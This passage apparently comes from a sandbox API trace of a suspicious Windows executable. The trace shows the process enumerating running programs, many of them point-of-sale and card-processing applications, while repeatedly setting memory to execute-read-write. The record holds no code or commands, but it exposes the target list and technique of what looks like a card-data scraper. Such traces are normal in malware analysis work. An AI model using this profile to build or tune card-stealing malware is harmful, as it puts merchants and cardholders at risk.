OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.185] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0166.186] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0166.186] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0166.187] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0166.188] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0166.189] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0166.189] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0166.190] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0166.191] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0166.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.193] VirtualAlloc (lpAddress=0x1fd3c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd3c000 [0166.193] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0166.194] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0166.195] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0166.196] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0166.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.201] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0166.202] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0166.203] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0166.204] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0166.204] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0166.205] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0166.206] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="announcementstudents.exe")) returned 1 [0166.207] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.207] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.208] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0166.209] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.209] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0166.210] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0166.210] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.222] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="fghvhghvgfdgfhchfg.exe")) returned 1 [0166.223] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x364, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0166.224] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x364, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0166.225] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdfc, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0166.225] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdfc, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0166.226] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe24, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0166.227] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe24, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0166.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.234] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe24, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 0 [0166.234] CloseHandle (hObject=0x628) returned 1 [0166.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.235] GetCurrentProcessId () returned 0xd78 [0166.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="[System Process]", cchWideChar=16, lpMultiByteStr=0x1e7de9b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[System Process]`ëõà\x1c", lpUsedDefaultChar=0x0) returned 16 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="System", cchWideChar=6, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="System", lpUsedDefaultChar=0x0) returned 6 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe¤ù}\x1e\\é}\x1e0g\x02\x1f\x07", lpUsedDefaultChar=0x0) returned 8 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x1e7de9b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exerocess]`ëõà\x1c", lpUsedDefaultChar=0x0) returned 9 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x1e7de9b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.execess]`ëõà\x1c", lpUsedDefaultChar=0x0) returned 11 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exeÌk\x02\x1f´é}\x1eèù}\x1e", lpUsedDefaultChar=0x0) returned 12 [0166.236] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe\x18é}\x1eôD\x02\x1f\x0c", lpUsedDefaultChar=0x0) returned 12 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe\x1f(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe\x1f(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe\x1f(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="OfficeC2RClient.exe", cchWideChar=19, lpMultiByteStr=0x1e7de8a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeC2RClient.exe\x1e", lpUsedDefaultChar=0x0) returned 19 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="OfficeC2RClient.exe", cchWideChar=19, lpMultiByteStr=0x1e7de8a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeC2RClient.exe\x1e", lpUsedDefaultChar=0x0) returned 19 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe\x1f(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="msoia.exe", cchWideChar=9, lpMultiByteStr=0x1e7de8a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoia.exeùÓ\x1fäè}\x1e\x1cù}\x1e", lpUsedDefaultChar=0x0) returned 9 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="msoia.exe", cchWideChar=9, lpMultiByteStr=0x1e7de8a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoia.exeùÓ\x1fäè}\x1e\x1cù}\x1e", lpUsedDefaultChar=0x0) returned 9 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exeD\x02\x1f(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 9 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x1e7de8e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe(é}\x1e`ù}\x1e", lpUsedDefaultChar=0x0) returned 12 [0166.237] WideCharToMultiByte (in: 